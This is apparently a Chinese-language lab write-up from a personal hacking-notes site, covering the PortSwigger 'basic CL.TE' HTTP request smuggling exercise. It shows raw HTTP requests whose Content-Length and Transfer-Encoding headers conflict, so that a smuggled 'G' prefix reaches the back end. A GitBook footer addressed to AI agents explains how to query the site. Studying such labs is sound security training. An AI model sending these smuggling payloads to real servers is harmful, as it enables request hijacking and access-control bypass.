> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-cl-te-request-smuggling.md).

# 基础 CL.TE 漏洞

### HTTP 请求走私，基础 CL.TE 漏洞

在此实验中，基础设施由前端服务器和后端服务器组成。前端服务器 **不支持分块编码** 和 **会拒绝任何不使用 GET 或 POST** 方法的请求。

目标是 **将一个请求走私到后端** 服务器，以便 **服务器解释的以下请求看起来使用了 `GPOST`** 方法。

> 注意：即使实验接受 HTTP/2，所需技术也完全基于 HTTP/1。必须在 Burp Repeater 中通过 Inspector 的 Request attributes 部分手动更改协议。

> 提示：在请求走私攻击中手动处理长度可能很复杂。BApp Store 中提供的 Burp 扩展 HTTP Request Smuggler 可以帮助完成这项任务。

#### \*\* 观察到的有效示例\*\*

以下请求被接受：

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **通过更改最终大小导致的错误**

如果 `0` 末尾字符被替换为无效字符（例如 `X`），服务器会报告错误：

```
3
abc
X
```

<figure><img src="/files/31c309b9644dab71f7a87de2810ceff032664a36" alt=""><figcaption></figcaption></figure>

#### **添加要注入的最终字符 `G`**

通过放置一个 `G` 在最后一个块之后，你可以为后端准备走私请求：

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="/files/10fa166d672f966fa727cef97690484f734e559c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
